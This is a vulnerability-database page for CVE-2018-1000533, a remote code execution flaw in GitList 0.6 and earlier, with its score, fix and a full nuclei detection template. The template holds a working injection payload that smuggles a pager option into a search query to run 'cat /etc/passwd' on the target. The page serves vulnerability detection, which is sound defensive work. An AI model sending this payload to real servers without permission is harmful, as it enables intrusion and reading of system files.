HexBrain

Browse / CVEs / CVE-2018-1000533

CVE-2018-1000533· gitlist / gitlist· CWE-20

GitList < 0.6.0 Remote Code Execution

criticalseverity
9.8CVSS score
72.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the `searchTree` function that can result in remote code execution.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.

Fix

Upgrade GitList to version 0.6.0 or later to mitigate this vulnerability.

How to confirm it

Send: GET / ; POST /{{path}}/tree/a/search
Positive when: contains "root:/root:/bin/bash"

Run it with nuclei: nuclei -id CVE-2018-1000533 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-1000533

info:
  name: GitList < 0.6.0 Remote Code Execution
  author: pikpikcu
  severity: critical
  description: klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the `searchTree` function that can result in remote code execution.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade GitList to version 0.6.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000533
    - https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
    - https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322
    - https://github.com/superlink996/chunqiuyunjingbachang
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-1000533
    cwe-id: CWE-20
    epss-score: 0.72616
    epss-percentile: 0.99448
    cpe: cpe:2.3:a:gitlist:gitlist:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: gitlist
    product: gitlist
    shodan-query: cpe:"cpe:2.3:a:gitlist:gitlist"
  tags: cve,cve2018,git,gitlist,vulhub,rce,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /{{path}}/tree/a/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        query=--open-files-in-pager=cat%20/etc/passwd

    matchers:
      - type: word
        part: body
        words:
          - "root:/root:/bin/bash"

    extractors:
      - type: regex
        name: path
        group: 1
        regex:
          - '<span class="name">(.*?)</span>'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from